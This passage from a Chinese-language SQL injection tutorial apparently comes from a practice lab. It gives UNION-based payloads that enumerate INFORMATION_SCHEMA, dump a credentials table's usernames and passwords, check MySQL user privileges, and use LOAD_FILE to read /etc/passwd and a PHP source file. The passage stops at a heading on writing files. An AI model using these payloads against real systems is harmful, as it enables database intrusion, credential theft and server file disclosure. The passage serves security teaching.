TABLES 表包含有关整个数据库中所有表的信息。该表包含多个列,但我们只对 TABLE_SCHEMA 和 TABLE_NAME 列感兴趣。 TABLE_NAME 列存储表名,而 TABLE_SCHEMA 列则指向每个表所属的数据库。这可以类似于我们查找数据库名称的方式来完成。例如,我们可以使用以下有效负载来查找 dev 数据库中的表:

1
cn' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'dev'-- -

img

我们在 dev 数据库中看到四个表,即 credentialsframeworkpagesposts。例如, credentials 可能包含敏感信息,需要对其进行查看。

1.5 COLUMNS

要得到 credentials 表中的数据,我们首先需要找到表中的列名。这些列名可以在 INFORMATION_SCHEMA 数据库的 COLUMNS 表中找到。COLUMNS 表包含所有数据库中所有列的信息。这有助于我们找到要查询表的列名。为此,可以使用 COLUMN_NAME、TABLE_NAME 和 TABLE_SCHEMA 列。如前所述,让我们尝试使用此有效负载查找凭据表中的列名:

1
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'credentials'-- -

img

该表有两列,名为 username 和 password 。我们可以使用此信息并从表中获取数据。

1.6 DATA

现在我们已经掌握了所有信息,可以使用 UNION 查询从 dev 数据库的 credentials 表中得到 usernamepassword 的数据。

1
cn' UNION select 1, username, password, 4 from dev.credentials-- -

img

2. 读取文件

除了从 DBMS 中的各种表和数据库中收集数据外,SQL 注入还可用于执行许多其他操作,如读写服务器上的文件,甚至在后端服务器上远程执行代码。

2.1 特权

在现代 DBMS 中,读取数据比写入数据要常见得多,因为写入数据会导致系统被利用。例如,在 MySQL 中,数据库用户必须拥有 FILE 权限,才能将文件内容加载到表中,然后从表中转储数据并读取文件。因此,让我们从收集数据库内用户权限的数据开始,决定是否要读取和/或写入文件到后端服务器。

DB用户

首先,我们必须确定自己是数据库中的哪个用户。虽然我们不一定需要数据库管理员 (DBA) 权限才能读取数据,但在现代数据库管理系统中,这一点变得越来越必要,因为只有 DBA 才有这种权限。这同样适用于其他普通数据库。如果我们拥有 DBA 权限,那么我们就更有可能拥有文件读取权限。如果没有,我们就必须检查我们的权限,看看我们能做什么。为了找到当前的数据库用户,我们可以使用以下任何一种查询方法:

1
2
3
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

例如,使用 UNIOM 方式注入如下:

1
cn' UNION SELECT 1, user(), 3, 4-- -

或者:

1
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

无论哪一种方式,我们都可以看到,当前的用户为 root 。

img

用户权限

现在已经知道了用户信息,可以查看该用户拥有哪些权限,我们可以使用以下查询来测试我们是否具有超级管理员权限:

1
SELECT super_priv FROM mysql.user

有效负载与上述查询一起使用:

1
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

如果 DBMS 中有许多用户,我们可以添加 WHERE user="root" 以仅显示当前用户 root 的权限:

1
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

img

查询返回 Y,即 “是”,表示超级用户权限。我们还可以使用下面的查询,查看我们拥有的其他权限:

1
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

可以添加 WHERE grantee="'root'@'localhost'" 以仅显示我们当前用户的权限:

1
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -

我们看到当前用户的所有可能权限如下图:

img

2.2 LOAD_FILE

现在我们知道我们有足够的权限来读取本地系统文件,让我们使用 LOAD_FILE() 函数来执行此操作。 MariaDB / MySQL 中可以使用 LOAD_FILE() 函数从文件中读取数据。该函数只接受一个参数,即文件名。以下查询是如何读取 /etc/passwd 文件的示例:

1
SELECT LOAD_FILE('/etc/passwd');

注意:只有运行 MySQL 的操作系统用户有足够的权限来读取该文件,我们才能读取该文件。

与使用 UNION 注入类似,我们也可以使用上述查询:

1
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -

img

如上图所示,我们能够通过SQL注入成功读取passwd文件的内容。

2.3 读取源代码

我们知道当前页面是 search.php。Apache 的默认网络根目录是 /var/www/html。让我们试着读取 /var/www/html/search.php 文件的源代码。

1
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

img

不过,页面最终会在浏览器中呈现 HTML 代码。 HTML 源代码可以通过点击 [Ctrl + U] 查看。

源代码向我们展示了整个 PHP 代码,可以进一步检查这些代码以查找数据库连接凭据等敏感信息或查找更多漏洞。

3. 写入文件